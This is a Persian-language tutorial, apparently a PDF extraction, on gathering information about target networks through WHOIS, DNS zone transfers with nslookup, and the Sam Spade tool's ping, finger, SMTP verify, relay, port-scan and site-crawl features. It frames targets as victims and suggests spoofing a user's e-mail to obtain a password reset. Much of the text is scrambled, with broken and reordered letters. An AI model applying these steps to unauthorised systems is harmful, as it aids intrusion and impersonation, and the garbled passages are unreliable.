ثلا مایکروسافت                    )  منظور مجموعه ( سيستم   ه ماشين خاصی م د ن یک آدرس حوزه کلی ایجاد ميکند ،  که آن به کل شبکه اشاره ميکن

این ماشينها که ...   و FTPیک آدرس کلی دارد و هر کدام از زیر شبکه ها یش  یک آدرس یکتا خاص دارند مثل سيستم ایميل و سيستم                      
  .  نام ماشين قرار ميگيردx  دارد که به جای حروف xxxxxxxx.microsoft.com هر کدام کار مجزایی انجام ميدهند نامی مشابه

  
ا     ) منظور هم اینترنت و شبکه داخلی( برای اینکه این ماشينها بتوانند در شبکه    ه شد یک آدرس یکت است کار بکنند باید همانطور که گفت

د و روی آن ماشين آدرسها و         ب DNSداشته باشند برای این کار از یک سرویس دهنده خاص به نام  اید بر روی یک ماشين نصب کنن
IP          شبکه را ثبت کرد بعد این آدرس ماشين DNS                  انی ر شبکه را دارد در بانک اطلاعات جه ه آدرس های  زی ه آدرس  DNS  را ک  ک

ا      .ایت ميباشدکلی را درآن  ثبت کرده اند ثبت ميشود و با توجه به این روش امکان دسترسی به زیر شبکه و امکانات س                ا تماس ب ا ب که م
د      ...   اطلاعاتی در باره ماشينها و کار آنها و نسخه  نرم افزار سرویس دهنده  روی هر ماشين و   DNSآن   ه اول بای م ک بدست می آوری

  !! را برای این کار ميخواهيم WHOIS آنرا پيدا کنيم که ما IP و آدرس DNSخود آن کامپيوتر 
  . در این  باره  و مطلب بعدخوب این هم یک نمای کلی

  
    :net  و com و orgبا پسوند  ) Domain Name Server(کسب اطلاعات در مورد نامهای حوزه 

  
ه شرکت       ١٩٩٩قابل ذکر است تا قبل از سال  ق ب ار منحصرا متعل ن ک ود Network Solutions شوفری  ای ن سال   .   ب ) ١٩٩٩(در ای

ه شرکتهای            که ثبت ن    ICANNتصميم گرفت شد توسط      انونی در آورد و ب رده و تحت یک روال ق ام را از حالت انحصاری خارج ک
با این کار رقابت خفنی در گرفت که باعث شد تا بعضی شرکتها با دریافت مقداری فضا از سرور وب سایت                      .واجد شرایط واگذار نماید     

ن روش را بطور کامل     "د اند دنبال وب سایت مجانی هستند    قابل توجه بر بچه هایی  که شدی       ( رایگان نام شما را ثبت کنند       ،  شما   ه ای البت
  " ) .در مقالات بعدی هم توضيح ميدهم تا بدون خارج شدن حتی یک ریال از جيب مبارک داری یک وب باحال شوید 

  : اولين گام در شناسایی صاحبان یک آدرس با پسوندهای بالا رفتن به یکی از سایتهای 
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HTTP://WWW.SAMSPADE.ORG/T/WHOIS?A=TRU2.COM 
HTTP://WWW.INTERNIC.NET/WHOIS.HTML 
HTTP://WWW.ARIN.NET 

  
د از   . است   آدرس مورد نظر خود را بنویسيد)آدرس سایت محبوب من  (  TUR2.COMنکته در آدرس اولی به جای ه بع اطلاعاتی ک

  :وارد کردن نام سایت به شما داده ميشود عبارتند از
   ) .Registrar(  نام شرکت ثبت کننده  نام -١
    .Whois نام سرویس دهنده  -٢
  . نام سرویس دهنده های نام شرکت یا موسسه صاحب نام-٣

شتری                     ا اطلاعات بي يم ت ن عمل را تکرار ميکن ا ای ه  و آنج ده اطلاعات رفت بعد از بدست آوردن این اطلاعات به سایت شرکت ثبت کنن
  .دست پيدا کنيم حالا اطلاعات را یک جایی ذخيره کنيد تا بگم بعدا با ميل به ميل آن چه کار باید کرد که خيلی به درد می خورد 

ن سوال                           خوب یک سوال مهم اینج     يم؟ خوب در جواب ای ود چکار کن ا مطرح ميشود که اگر پسوند سایت مورد نظر ما پسوندهای بالا نب
  :کلی و جامع  جواب ميدهم تا مشکلی برای شما پيش نياید را حل این مسئله این است که به سایت

HTTP://WWW.ALLWHOIS.COM/HOME.HTML 
البته مجموعه آدرسهای   .ir کشور جهان را ببينيد از جمله  ۶٠رفته در این آدرس شما ميتوانيد اطلاعات مربوط به ثبت کننده نام بيش از               

NICهم خوب است و راه  گشا مثل :  
http://whois.nic.ir/ 
http://whois.nic.gov 
http://whois.nic.mil/ 

 ....و 
ا یک     ستقيما در آن ج رویم  و م راغ آن مي ه س ده آدرس ،  ب ت کنن ل شرکت ثب م مث ات بدست آورده ای الا یک سری اطلاع ا ح خوب م

Whois         ات عالی است حال معمولا      %  ٩٠ اطلاعاتی که به ما ميدهد بيش از          اساسی ميکنيم تا اطلاعات بيشتری را بدست بياوریم اوق
  :به ما می گوید 

  .  را ميگوید http server  سایت یا به نوعی ميشود گفت آدرس IP آدرس -١
  . را که خيلی بدرد ميخوردDNS آدرس و مشخصات -٢
  )اکثرا مهم نيست.( باره صحت آن نظر دادآدرس و مشخصات شخصی که آدرس را در شبکه ثبت کرده البته نميشود در-٣
۴- NIC handle  اتی ورد اطلاعات مربوطه را در بانک اطلاع ا رک د یکت وان ک ه عن ه ب اراکتری است ک ی یک شناسه ده ک ه یعن   ک

Whois مشخص ميکند ميگم چکار است بعدا .  
د معمولا           DNS و آدرس برای     IPیک نکته اگر بيش از یک        ا آدرس         پيدا کردید تعجب نکني د ت زرگ چن ه   DNSسایت های ب د ک  دارن

ه هر                ه ب ی اگ يم ول اگر خدا خواست اولی پکيد دومی کارا را انجام بدهد و سيستم نخوابد ما برای کارهایمان معمولا از اولی استفاده ميکن
ا                روز باشن ت شه ب د همي ا بای يم خوب این تفاده ميکن رای      دليلی جواب نداد از بعدی ها به ترتيب شماره اش اس د ب ار کن ا درست ک  آدرس ه
ا       udp ۵٣هماهنگی و به روز بودن آنها از آن ده  کاراکتر استفاده ميشود معمولا برای تبادل اطلاعات از پورت                     ه ب د ک   استفاده  می کنن

هم چه جوری   است که توضيح ميدnsllokup  ساده ميشود کلی اطلاعات بدست آورد البته راه اصلی اش استفاده ار فرمان  telnetیک 
  .کار ميکند 

  !!!!نداریم فعلا : مثال 
  

  !!!زنگ تفريح
  

ر                   یک نکته کوچولو  است که کمی با حال است دانستن اش همان طور که فهميدید فرایند آوردن یک صفحه از یک سایت کمی وقت گي
ا                ان هر وقت ب امپيوتر م ا ک رده ت ار داشت دیگه سراغ      است برای سرعت بخشيدن به این کار ما یک فایل دست کاری ک امپيوتر ک  آن ک

DNS ان سایت نرود مستقيما آدرس را خودش بداند  و سراغ اون برود  .  
ه پوشه    دوز های     c:\windows\hostب د در وین ه پوشه   NT  و در  سری   9x بروی  c:\winnt\system32\drivers\etc\hosts  ب

  .به شيوه زیر به آن اضافه کنيد و خطوطی را notepad  باز کرده  با hostsبروید و فایل 
ه     د ک ر  www.xxxx.com سایت  IPشما ميداني ل        ٠٠٠٫٠٠٠٫٠٠٠٫٠٠٠  براب ر در فای ا اضافه کردن خط زی اه ب   ،  hosts است آنگ

  .مرور گر دیگر جستجو انجام نمی دهد و یک راست به سراغ بر قراری ارتباط با آدرس اینترنتی سایت ميرود
000.000.000.000          www.xxxx.com 

ر،                  با این کا سرعت دست رسی شما افزایش پيدا ميکند به فقط سایتی که با این شيوه به فایل مورد نظر اضافه کرده اید ، یک راه اساس ت
د و دیگر صفحات     IP  این وسيله به مرور گر شما یک عدد        ONspeedکه من خيلی قبول دارم استفاده از نرم افزار             اختصاص ميده

د              شما   شاء االله            . در سرور تان نمی آید و مستقيما پيش شما می ای شود ان اد مي د معت رد            . امتحان کني شود ک ادی مي ه باهاش کارهای زی البت
 .خودتان امتحان کنيد 
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    DNS گرفتن اطلاعات از سيستم -۴
  

ه ای                     ور شدم ب دم و مجب اره اش توضيح ب تم در ب ه از اول می خواس ود        حالا رسيدیم به دو مطلبی ک م نب د ه ه ب ه توضيح اضافه البت ن هم
  . را کاملا توضيح دادم دیگه بس است حرف اضافه ميریم سر اصل مطلب WAR DIALERحملات 

  
  :مقدمه 
DNS اول کلمات Domain Name Serverاست و یعنی سيستم نام گذاری حوزه . 

  
  

  .يح بدهم   یک سری توض nslookupخوب برگردیم سر کارمان ميخواستم درباره دستور 
  اما یک چند تا کار دیگه هم ميکنه که توضيح ميدهم به شما.  است DNSاولا بگم این دستور برای گرفتن رکورد های داخل 

  .کار ميکند)  ميتوانيد از خط فرمان استفاده کنيد RUN در CMDبا نوشتن ( این دستور در خط فرمان 
  :در خط فرمان می نویسيم

Nslookup 
 :  نام سرور را به برنامه داد به این صورت  serverتور باید با فرمان پس از اجرای دس

Server xxxxxxxxxx 
 :بعد فرمان زیر را در خط فرمان مينویسيم )  بود اشکال ندارد  IP(  را مينویسيم    سایتDNS ها نام  xکه به جای 

Set type=any 
 :د وبا فرمان زیر تمام رکورد ها را ميگيریم با نوشتن این دستور ميگيم هر آن چه هست برای ما بفرست

Ls –d xxxxxxxxxx . 
 .حتما نقطه را آخرش بگزارید )wwwبدون (  ها نام سایت را مينویسيم xxxکه بجای 

 :خوب کار اصلی این دستور به شما ها گفتم اما دوتا کارایی دیگه هم دارد که ميگم
  
ا  -١ ا دی   IP برای تشخيص اینکه آی تاتيک ی تاتيک    IP. ناميک    اس شه در         IP) ثابت (  های اس ه همي امپيوتر های ک ه ک    های هستن ک

ا و  ا  ...  شبکه هستن آنها دارند مثل وب سرور ها ، هاستينگ ه ر (    های دیناميک   IPام م و        IP) متغي ه من شما داری     های هستن ک
  .  دارند IPاز این نوع لحظه ای است مال شخص ثابت نيست معمولا همه که با مودم ميرن بالا 

   را در خط فرمان به صورت زیر اجرا ميکنيمnslookupفرمان 
Nslookup hostname 

ی      .  مورد نظر خود را مينویسيم IPما   hostnameکه به جای  ا دیناميک است ول اگر نتيجه این بود که این ميزبان وجد ندارد طرف م
 .شين مورد نظر استاتيک استاتيک است اگر اسم ميزبان را به ما بدهد مطمئن باشيد ما

  
  ) یک جستجو کنيد Helpیک راهنمایی داخل !! (  این یکی را زیاد توضيحات نميدهم تا خودتون هم یک ذره تلاش کنيد -٢
  
  
   نرم افزارهای مربوطه-۵
  

  .کنم تا کمی راحت تر بشود شاید تا به حال فکر کنيد یکم کار سخته ولی اتفاقا خيلی راحت است یک چند نرم افزار معرفی مي
  
١- Sam Spade   
٢- NET INFO 
٣- Net Scan Tools    
۴- WS-Ping Pro Pack.   
  ...  و-۵
  
    :Sam Spadeابزار همه منظوره   -١
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ایگان است و     این ابزار ر  . ابزار ساده ای و البته کامل برای شناسایی مقدماتی هدف است          . خوب تا به حال شاید اسم این زیاد شنيده باشيد         
د دیگه هيچی                  org.samspade.www://httpمی توانيد از آدرس      ار ميکن دوز ک سخ وین ر        .  بگيرید روی تمام ن دارای قابليت های زی

  :می باشد 
  
١- Whios  :   به طور مستقيم با سرویس دهندهWhiosچون از سایت خودش  . رد بخور را ميگيرد ارتباط برقرار کرده و اطلاعات بد

  .برای جستجو استفاده ميکند نيازی به دست کاری ندارد
  
٢- IP Block Whios:   قادر است تعيين کند که یک مجموعهIP متعلق به کدام شرکت یا موسسه است .  
  
٣- Ping :   برای کشفIPقربانی از آن استفاده ميشود البته اگر آن ماشين  فعال باشد .  
  
۴- DNS Zone Transfer :      شود ورد های موجود در آن مي د آدرس  . ( همانطور که در بالا اشاره شد باعث انتقال تمام رک  DNSبای

  ).را بدهيد به برنامه 
  
۵- Nslookup :   باعث ميشود خودتان دستی با آن )DNS ( فعل انفعال داشته باشد.  
  
۶- DIG«  : در باره یک سيستم خاص ازDNSلاعات تکميلی ميگيرد  اط.  
  
٧- Trace route :    وار آتش  پرکسی و را ... این یکی فهرستی از مسيریاب ها و کلا ماشين های بين شما و ماشين هدف را از جمله دی

  .مشخص ميکند 
  
٨- Finger :   آن را ببينيداگر سرویسی به همين نام روی ماشين هدف فعال باشد با اجرای این ميتوانيد ليستی از کاربر های.  
  
٩- SMTP VRFY :   ميتوان فهميد که مثلا فلان آدرس پستی روی سرویس دهنده وجد دارد یا که خير.  
  

١٠- Web Browser  :         ان ه زب ه صفحات را ب ه البت د آن  HTMLیک مرور گر وب یا به اصطلاحی کاوشگر شبکه است ک  و فراین
  .نمایش ميدهد

  
  توضيحات کامل اين ابزار 
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Sam Spade :.::.:  
  

د   SamSpade :مقدمه  ه       .  وسيله مفيدی است که می تواند بوسيله فاز کشف آزمایش نفوذی کمک کن ر عملکردی ک ا وجود اینکه اکث ب
SamSpade تهيه می کند می تواند از خط فرمان اجرا شود SamSpade  ، Gui       ه آسانی بکار می ه ب  مستحکمی را فراهم می کند ک

ه های اضافی       Ws-Ping Pro Rack و Net Scan Tools اکثراً عملکرد یکسانی را همانند SamSpade. رود  د و گزین ه می کن  تهي
 جریان دارد و 9X/NT/2000/2003/XP در ویندوز SamSpade.  ارائه می دهد Crawling و mirroring Web Siteرا از قبيل 

Guiیک وسيله تلفيق می کند وجود می آورد و عملکرد بسياری را در ه  بصری را ب .SamSpade    ه اجرای پرسش  , Whois قادر ب
Pings , )DNS Dig, شرفته ت پي سيرجو ،  ) DNSدرخواس ستی    Finger، م ه پ ی رل ه ای ، بررس ای منطق ال ه  و SMTP ، انتق

mirroring و Web Site Crawling می باشد .  
  
  

د        يانبرخط ابزار اصلی ، م    .  کاملا گویا است     SamSpade :کاربرد   راهم می کن ع ف ر تواب رای اکث ن وجود ، برخی از     . هایی را ب ا ای ب
اوس را    .  قابل دستيابی هستند Tools تنها از طریق منو (Zone Transfers)توابع اضافی  در صورتيکه عملکرد دکمه سمت راست م

ه          SamSpadeخوشبختانه ،   . ترجيح دهيد  انبر      از طریق بکارگيری دکمه سمت راست ماوس ، گزین ا و مي ه می           ه سياری را ارائ های ب
هایی دست خواهيد یافت      تصور می کنيم که شما به ميانبر      . کند هنگام بکارگيری این وسيله ، دکمه سمت راست ماوس را یک نگاه کنيد               

ه   باید گزینه های خود را پي   SamSpadeپيش از بکارگيری     .که در زمان صرفه جویی کرده و کار را آسانتر می سازد              کر بندی کنيد ک
ه ای و                                           ال های منطق ه اجرای انتق ادر ب د ، ق ه های خود را تنظيم نکني ه درستی گزین را اگر ب د زی مرحله بسيار مهمی به حساب می آی

  .دستيابی به سایر توابع نخواهيد بود 
  

ز    ستيد و آن ني و ه ه ای از من ال منطق ابع انتق تيابی ت سپارید در صورتيکه در صدد دس اطر ب ه خ الا    ب د ، احتم تيابی باش ل دس ر قاب  غي
ه       بنابر این پيش از بکارگيری این وسيله خود را از برخی دردسر           . پيکربندی گزینه های خود را فراموش کرده اید          دی گزین ها و پيکربن

د ، جدول    Edit را از منو Optionsبه منظور پيکربندی گزینه های خود . ها نجات دهيد  ه   Advanced Options انتخاب کني  است ک
ه ،    و بررسی فعال ، انتقال های منطقه ایامکان   را (Zone Transfers , Active Probing , Relay Checking )بررسی رل

  .در اختيار شما قرار می دهد 
  

د     SamSpadeهنگاميکه گزینه های خود را پيکربندی  می کنيد جهت بکارگيری             رده ای دا ک ادگی پي ا بررسی زم   .  آم ار را ب ه های   ک ين
د           شانی     . ورودی در صفحه اصلی و تعيين اطلاعات مورد نياز جهت ورود به هر زمينه آغاز کني ه ، ن ام دامن ام شرکت    IPنخست ن ا ن  ی

د              ده         . هدف را در پنجره بالایی سمت چپ وارد کني د سرویس دهن ادر    DNSسپس بای د  net.12.1. را در ک ا    .  وارد کني ا را ب معمولا ک
ادر  . پيش فرض خود آغاز کنيد سرویس دهنده نام   را Whois Server ، امکان انتخاب   Telphone drop-downهمچنين با نمایش ک

را   Whois یک سرویس دهنده Magic.  فراهم می کند  Whoisجهت اجرای سوالات    Whois Server مناسب برای شروع است زی
  .مناسب را برای شما انتخاب خواهد کرد 
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د                 به منظور اصلا   و         . ح زمينه بالایی ورودی ، به ردیف دکمه های رادیویی دست می یابي ر از من ا آسان ت ه ه ن دکم ه ای تيابی ب های   دس
ردازیم                        ) pull-down(کرکره ای    ویی می پ ه های رادی يله ای جهت بکارگيری دکم ن وجود می        . است ، بنابراین به توضيح وس ا ای ب

ویی      و  توان به هر تابعی که دکمه های رادی ق من د دست یافت      Pull-downهای   از طری راهم می کنن ع یکسان هستند و     .  ف اسامی تواب
د                     تيابی داری ه توضيح عملکردهای       . توضيحات و تکنيک ها به خوبی عمل می کنند بدون توجه به اینکه کدام روش دس ایين ب در بخش پ

  . به سمت راست صفحه پيش می رویم وسيله می پردازیم و کار را با دکمه های رادیویی سمت چپ آغاز کرده و
  

Ping   :    ه ياه و سبز رنگ مشخص شده         (  از طریق نخستين دکم ره س ا ک ه ب ایش       ) ک ه امکان آزم ل دسترسی است ک قاب
ه                 . هدف را فراهم می سازد      ) آناليز  ( ادر ، گزین ایين ک ایينی در سمت چپ پ الایی و پ هر زمان که با بکارگيری فلش های ب

pingب می کنيد ، قادر به تعيين  را انتخاping        يش فرض د شماره پ يله لازم داری  ،  ping خواهيد بود که جهت اجرای وس
ی         ٣ است ، البته ما تنظيم این مقدار را به    ١٠ ده عملکرد خود نگران ين کنن ورد شخص تعي  پيشنهاد می کنيم مگر اینکه در م

ن دلي          pingگاهی اوقات یک     . نداشته باشيد    ه ای ا شکست ب ابراین                 ب ا شبکه مشغول است ، بن ستم ی ه سي ل مواجه می شود ک
دون       ping عدد ٣هنگامی . موجب نتایج نادرست می گردد       افی است ب شی ک ایج صحيح آزمای  استفاده می شود جهت ایجاد نت

  .اینکه لازم به ایجاد عملکردی برای افزایش شانس شناسایی باشد 
  

DNS  :      ا بکارگيری دک ه ب ه بعدی    اطلاعاتی است ک د    ) net.12.1 button.(م ه ،     . بدست می آی ن گزین ام انتخاب ای هنگ
د         DNSوسيله جستجوی    ایش می ده د را نم ایر اطلاعات مفي ن قرمز ،    .  را اجرا شده و نام سرویس دهنده ، اتصال و س تلف

ا Whois ، باید سرویس Whois را فعال می کند ، به منظور اجرای سوالات Whoisگزینه   ن  drop-downدر  را در ک  تلف
  : به این صورت فهرست بندی شده اند Whoisچندین سرویس دهنده پيش فرض . قرمز مشخص کرد 

  
rs.internic.net)  ا اربران ب دInternicک ده ان ت ش ای  (.whois .Internic.net,nic.ddn.mil، )  ثب شانی ه ن

  ).نشانی های اروپایی (whois.ripe.netو ) دفتر ثبت آمریکا (,whois.arin.net,whois.nic.mil)نظامی
  

ده                      در صورتيکه دارای یک دامنه هدف باشيد که در یکی از گروههای پيش فرض قرار نگرفته باشد ، باید یک سرویس دهن
ده مناسب         Magic.  را برای فضای نشانی مشخص کنيد        whoisمناسب   ه شما   whois به استقرار یک سرویس دهن  در دامن

ایر   IP ، اطلاعات ارتباطی ، بلوک های whois سوالات   .کمک بسزایی می کند      ا و س  ، نشانی ها ، اسامی سرویس دهنده ه
ه بکار گرفت                   ام سرویس      . اطلاعات را ارائه می دهد که می توان این موارد را جهت شکل دادن یک حمل ه ن ه ب هنگامی ک

ده ه           ن سرویس دهن زودن ای ه اف ادر ب رای سوالات       دهنده برای هدف دست یافته باشيد ، ق ده خود ب د ورودی سرویس دهن مانن
ده      . پيشرفته خواهيد بود     رای سرویس دهن  را copyدر پنجره خروجی ، بر روی سرویس دهنده جدید کليک راست کرده و ب

شرفته               . انتخاب کنيد    ع پي ایر تواب تفاده            DNSبه منظور اجرای انتقال های منطقه ای و س د اس ام هدف بای ده ن  از سرویس دهن
  .د شو
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ن    IPهنگامی که نام دامنه یا نشانی .  نشانی هدف بکار می رود IP جهت کسب بلوک های IP Blockآيکون  د ، ای  را مشخص می کني
این تابع معمولا  .  دست یابد که در برگيرنده نام یا نشانی می باشد       IP سوال می کند تا به بلوک های         DNSوسيله از سرویس دهنده های      

 می تواند مشکل شود ،   IPگاهی اوقات دستيابی به بلوک .  را بوسيله هدف باز می گرداند Subnetted IPبلوک های  یا A,B,Cگروه 
  .اگر تهيه کننده سرویس اینترنت بوسيله مشتری های خود ، بلوک ها را فهرست بندی نکند 

  
  

 ثبت شده تحت عنوان نام هر IPا شاید دارای بلوک های      همچنين به خاطر داشته باشيد که برخی از شرکت ها دارای چندین نام دامنه و ی               
چند نام دامنه را آزمایش کنيد شاید به نتایج .  که دست می یابيد ، توقف نکنيد      IPبنابراین ثابت بوده و در نخستين بلوک        . دامنه می باشند    

  .بهتری دست یابيد 
  

 است DNS اساساً یک پرس و جوی پيشرفته Dig.  شما فراهم می کند توانایی کاوش نشانی یا نام دامنه را برای: Dig shovelآيکون 
 را می طلبد که شامل اطلاعات ميزبان ، اطلاعات دامنه ، خدمات ، اطلاعات پستی ، موقعيت های جغرافيایی                    DNSو کليه رکوردهای    

ا حد        اطلاعات بسياری را به شما ارائه می دهد که شاید آنها ر  Dig. و خيلی موارد دیگر است       د ت ه بای د ک ا نيز بکار نگيرید اما می داني
  .امکان به جستجو ادامه دهيد 

  
د     Tracerouteبوسيله آیکونی که با نقاط پيوسته مشخص شده به تابع            ه     Traceroute.  دسترسی پيدا می کني انگر مسيری است ک  نمای

د     ه هدف در چه      Traceroute. بسته به طرف هدف حرکت می کن ن ک ين ای ن         در تعي ان دیگر از ای ا ميزبان ه و آی رار گرفت فاصله ای ق
  .مسير به هدف ، عبور داده شده اند ، کمک بسزایی می کند 

شانی های مشترک                  Tracerouteگاهی اوقات می توان با بکارگيری نتایج         ا ن رد آی ين ک ه داد و تعي  ، طرح کاملاً دقيقی را از شبکه ارائ
IP         ه های              . خير   ، مسيریابها یا حفاظ ها هستند یا ين گزین وان چن ا می ت اگر چه با نگاهی به صفحه اصلی ، فوری مشخص نمی شود ام

Traceroute طبق منوی .  را همانند تایمزاوت و غيره پيکره بندی کردEdit گزینه ها و سپس جدول ، Traceroute را انتخاب کنيد .  
  

Finger  :   ه د ک وثر هستند      اطلاعاتی را در مورد کاربرانی ارائه می ده ده م ه      .  در سرویس دهن ه منظور کسب اطلاعات از برنام ب
Finger   سرویس ، Finger معمولا برای یک ميزبان .  باید در ميزبان هدف جریان یابدFinger شخيص    .  تلاش نمی کنيم ا زمانيکه ت ت

از    در ٧٩در صورتيکه متوجه شویم پورت . دهيم آن همان سرویس است که راه اندازی شده است    ان ب طی اسکن های پورت ، در ميزب
ریم ، پرس و جوی          .  در ميزبان کاملاً مطمئن می شویم        Fingerاز جریان   . شده است    ی می ب  را Fingerهنگاميکه به این اطلاعات پ

ل                 . بر خلاف ميزبان بکار می گيرم        ه از قبي ام مناسب دامن د از ن ه بای سپارید ک ه خاطر ب ا  Target@targetnetwork.comالبته ب  و ی
  . جهت انتخاب حسابها برای گشودن سرویس دهنده مفيد واقع می شود Fingerاطلاعات .  استفاده کنيد IPنشانی 

  
SMTP Verify  :  یکی از ویژگی SamSpade      ریم ایش خود بکار نمی گي ه امکان پرس و     .  است که اغلب در طی آزم ن برنام ای

راه            دین منظور ف ستی را ب ده پ شانی      جوی سرویس دهن ا ن ه آی د ک ر     E-Mailم می کن ا خي ر است ی ده    .  معتب در صورتيکه سرویس دهن
SMTP         ا بکارگيری دستورات وان ب دون مجوز        SMTP جهت جعل پستی آسيب پذیر باشد ، می ت اربر دیگر ب ه ک اربر ب -E از هر ک

Mail     بعنوان نمونه ، شما قادر به ارسال        .  را جعل کردE-Mail ور    یک کاربر معتبر به ميز ه عب  راهنما خواهيد بود و تنظيم مجدد کلم
  .را درخواست می کنيد 

 :Check Time   نيز از ویژگی هایی است که اغلب در طی آزمایش بکار نمی گيریم .  
  

   ناميده می شود با بکارگيری این تابع می توانيد منبعی راBrowse Web که Tools در منوی View Raw Websiteبرنامه 
   اوليهHTMLمشاهده .  ، مشاهده کنيد Microsoft Internet Explorer در View Sourceب ، مشابه تابع برای صفحه و

   مفيدCommon Gateway Interface (CGI)می تواند جهت جستجوی کلمات عبور ، اشاره های کلمه عبور ، یا پردازه های 
   وب سایت را در پنجرهURL یا IPارگيری این تابع ، نشانی به منظور بک. واقع شود که احتمالاً قابل بهره برداری نيز است 

Address وارد کرده و دکمه View Raw Websiteرا انتخاب کنيد .  
   را در هر دقيقه به وبHttp ، درخواست Keep Alive . نمی دانيم را برای آزمایش نفوذی بسيار مفيد Keep Aliveبرنامه 

  .نگهداردسایت ارسال می کند تا اتصال را فعال 
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ZONE Transfer   :  کليه رکورد هایDNS         امی ده ن ستم در سرویس دهن ابع سي سياری از من د و از ب  را برای دامنه باز می گردان
ر                    . استفاده می کند     در حاليکه هدف احتمالاً این عمل را تشخيص نمی دهد اما برای یک رویه تهاجمی در نظر گرفته می شود و شاید غي

ا           Zone Tarnsferهنگام راه اندازی برنامه . اشد قانونی هم ب ستم ه ه سي د ک ان بيندازي ه جري انی ب  دقت را داشته باشيد و آن را زم
  .بطور قانونی آزمايش می شوند و تنها از هدف جواز دارند 

  
ه ای تنظيم ک                       ال های منطق ال ساختن انتق د  در آخر به خاطر داشته باشيد که باید گزینه های خود را جهت فع  را از Optionsنخست  . ني

  . را انتخاب کنيد Enable را از انتقال های منطقه ای و گزینه Advenced و سپس جدول Editمنوی 
  

SMTP Relay Check  :   امکان آزمایش سرویس دهنده پستی را برای شما فراهم می کند تا متوجه شوید آیاE-Mail را برای شما 
د    ی کن ه م ارگيری  . رل ا بک ق   SMTPب ه از طری ورت  اولي رد     ٢۵پ را ک سانی را اج ایش یک وان آزم ی ت يله   .  م ود وس ن وج ا ای ب
SamSpade         ده                           .  آسان تر و سریع تر می باشد ایش در سرویس دهن ن آزم ه منظور اجرای ای د ب ایش ، بای ن آزم دازی ای يش از راه ان پ

SMTPپيکربندی کنيد  ، مجوز و تائيده ای در اختيار داشته باشيد و گزینه های خود را .  
  

وی Optionsنخست  د configuration و سپس Edit را از من اب کني شانی .  انتخ ه Mail-Eن ی ) com.address@Email( را ک م
ن ر    Enable ، رله Advancedسپس با دستيابی به جدول . باشد را وارد کنيد  ا ای ه م ی می       را بررسی کنيد ک شابه یک سلاح امنيت ا م

  .این آزمایش در لبه قانون قرار گرفته است ، زیرا شما اساساً بدون مجوز از سرویس دهنده پستی هدف استفاده می کنيد . دانيم 
  

يد                      ده دارای مجوزی باش ق سرویس دهن ابع ، از طری ن ت ایش ای ه های خود را بطور صح      . بنابراین باید پيش از آزم يح هنگاميکه گزین
د  SMTP سرویس دهنده IPنام کاملاً دقيق دامنه .  را انتخاب کنيد Tools ، SMTP Relayپيکربندی کرده اید ، از منوی   را وارد کني

  . را ارسال می کند E-Mail مورد آزمایش شما ، SMTPسپس این وسيله از طریق سرویس دهنده . 
  

ایش          E-Mailدر صورتيکه    د ، آزم ه          برگشتی را دریافت کني رای رل ده ب وده و سرویس دهن ز ب ذیر است    SMTPموفقيت آمي .  آسيب پ
ه         ستعد            SMTPسرویس دهندگانی که امکان رل د ، م راهم می کنن ل خوب نيست     Spam.  هستند    Spam را ف ه دو دلي نخست اینکه   .  ب

Undo Stress         شی ين بين د اینکه چن د و بع رار می ده ستی شرکت ق ه سازمان       را در منابع سيستم سرویس دهنده پ د ک ه می ده  را ارائ
  .مورد نظر پست را ارسال کرده است 

  
ه  د  Scan Addressesبرنام راهم می کن ما ف رای ش ان ب ه ميزبان ر خلاف دامن ورت ب رایط را جهت اجرای اسکن پ ه منظور .  ش ب

وی      Advanced) Optionsبکارگيری این ویژگی باید به جدول         د     Edit را از من اوش     دسترسی ی )  انتخاب کني ادر را جهت ک ه و ک افت
د  .  را انتخاب کنيد Enableفعال بررسی کرده و گزینه  وی  Scan Addressesهنگاميکه این گزینه تنظيم می شود بای  Tools را از من

  . باز می شود Scan Addresses ، پنجره Scan Addressesزمان انتخاب گزینه . انتخاب کرد 
ای ورودی ج ره ه ره دارای پنج ن پنج ای ای ازین و انته ای آغ شانی ه ت ن ت IPه رض اس يش ف ورت پ ش پ  Name) و ش

Server,telnet,web,usenet,Reverse DNS,mail) .  علاوه بر این جدولAdvanced   يش  امکان انتخاب پورت های اضافی را ب
د      ١٧٠٠٧از   د         .  فراهم می کن ایين نگهداشتن کلي ا پ ه را انتخاب کر           CTRLب ورت های چندگان وان پ ه     . د  می ت ایی را ک ورت ه ر پ اکث

  .انتخاب می کنيد ، اسکن آنها زمان زیادی را صرف می کند 
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Crawl Website  :     د  امکان  Crawl Website. ویژگی مناسبی جهت جستجوی وب سایتها ، برای اطلاعات مفيد به حساب می آی
ين جس                 شانی های         منعکس کردن وب سایت  را به هارد دیسک یا گرداننده شبکه و همچن ور ، ن رای کلمات عب -Eتجوی وب سایت را ب

Mail         د رار می ده ار شما ق د را در اختي ایر اطلاعات مفي ه     .  و س تيابی ب ه منظور دس وی   crawl websiteب د آن را از من  Tools بای
د   URL. انتخاب کرد  الایی وارد کني ادر  .  وب سایت هدف را در کادر ب ه شما امکان وا   Extra seed URLsک  را URLsرد کردن   ب

پایين این کادر گزینه ای وجود دارد که می  .  فهرست بندی شده در پنجره بالایی قابل دستيابی نيستند URLدر وب سایت می دهد که از        
رد              نعکس شوند را محدود ک ا م د جستجو ی ه بای وع اطلاعاتی را ک يله آن ن وان بوس ه ،     . ت ن گزین ا بررسی ای ه  crawlerب  ,ASP را ب

HTML  و فایل های متنی محدود کنيد.  
  

ود              crawlerبدون اینکه این گزینه بررسی شود ،         ه ای دست         .  در صدد جستجو و بازگرداندن همه چيز به سایت خواهد ب ه گزین سپس ب
ادی  اگر چه این کار ا. بوسيله انعکاس سایت ، آن را به درایو محلی کپی کنيد . می یابيد که ميتوانيد سایت را منعکس سازید      ز فضای زی

ه  . (از هارد دیسک استفاده می کند ، اما جهت داشتن کپی های برون خطی وب سایتها و برای دسترسی بيشتر و بهتر مفيد می باشد            البت
  ).زمانيکه دسترسی به اینترنتی نداشته باشيد 

  
Search website for  :  نشانی های : ت پيش فرض می توان به گزینه دیگری است که امکان جستجو را فراهم می کند که به صور

ام جستجوی وب سایت                         E-Mailوب ، نشانی های      ار هنگ ن ک ه ای ه البت رد ، ک  ، تصاویر ، اتصالات و بيان کامل کلمات کليدی اشاره ک
  .برای کلمات عبور ، اشاره های کلمات عبور یا سایر اطلاعات لازم بسيار مفيد واقع می شود 

  
Benefits  :  SamSpade      د ی باش ز م ان ني ای رایگ ه ه ه از برنام شف است ک سير ک ده در م ناخته ش يله ای ش ای . وس ی ه ویژگ

crawling سایت وب بررسی رله SMTP این وسيله را از سایر ابزار کشف متمایز می کند .  
  

